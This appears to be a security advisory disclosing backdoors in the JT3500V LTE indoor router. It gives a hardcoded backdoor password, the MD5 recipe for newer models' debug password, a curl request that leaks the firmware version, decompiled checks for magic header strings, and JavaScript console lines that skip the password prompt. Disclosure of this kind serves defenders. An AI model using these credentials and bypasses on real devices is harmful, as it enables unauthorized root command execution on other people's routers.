Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.

Desc: The device has several backdoors and hidden pages that
allow remote code execution, overwriting of the bootrom and
enabling debug mode.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
           Linux 2.6.36+ (mips)
           Mediatek APSoC SDK v4.3.1.0

Older and newer models defer in backdoor code.
By navigating to /syscmd.html or /syscmd.asp pages
an attacker can authenticate and execute system
commands with highest privileges.

Old models (syscmd.asp) password: super1234

Newer models (syscmd.html) password: md5(WAN_MAC+version):

$ curl -k https://192.168.1.1/goform/getImgVersionInfo
{"currentImg":["1", "Y", "V2.0.0B3210"], "shadowImg":["0", "Y", "V2.0.0B04"]}

...
pcVar6 = (char *)nvram_bufget(1,"WAN_MAC_ADDR");
  if (*pcVar6 == 0) {
    pcVar6 = "6C:AD:EF:00:00:01";
  }
  memset(acStack280,0,0x100);
  sprintf(acStack280,"generate debug password : %s %s",pcVar6,"V2.0.0B3210");
  ...
  psMd5Init(auStack112);
  psMd5Update(auStack112,local_10,local_c);
  psMd5Final(auStack112,uParm1);
  return;
...


Another 2 backdoors exist using the websCheckCookie() and specific header strings.

...
      iVar2 = strncmp(acStack2268,"UPGRADE:927",0xb);
      if (iVar2 != 0) {
        return 0xffffffff;
      }
      if ((*(char **)(iParm1 + 0xdc) != (char *)0x0) &&
         (iVar2 = strncmp(*(char **)(iParm1 + 0xdc),"TONY@KZT",8), iVar2 != 0)) {
        return 0xffffffff;
        ...
        if (iVar1 != 0) goto LAB_0047c304;
LAB_0047c32c:
    WebsDbgLog(2,"[%s] UserAgent=%s, username=%s,command=%s","startSysCmd",__s1_00,__s1_01,__s1);
LAB_0047c35c:
    __n = strlen(__s1);
    if (__n == 0) {
      snprintf(acStack1560,0x200,"cat /dev/null > %s","/var/system_command.log");
      WebsDbgLog(3,"[%s] %s","startSysCmd",acStack1560);
      system(acStack1560);
      websWrite(iParm1,"invalid command!");
      goto LAB_0047c3f8;
    }
...


Bypass the backdoor password request and enable debug mode from within the web console:

$('#div_check').modal('hide');  <--- syscmd.html

g_password_check_alert.close(); <--- syscmd.asp
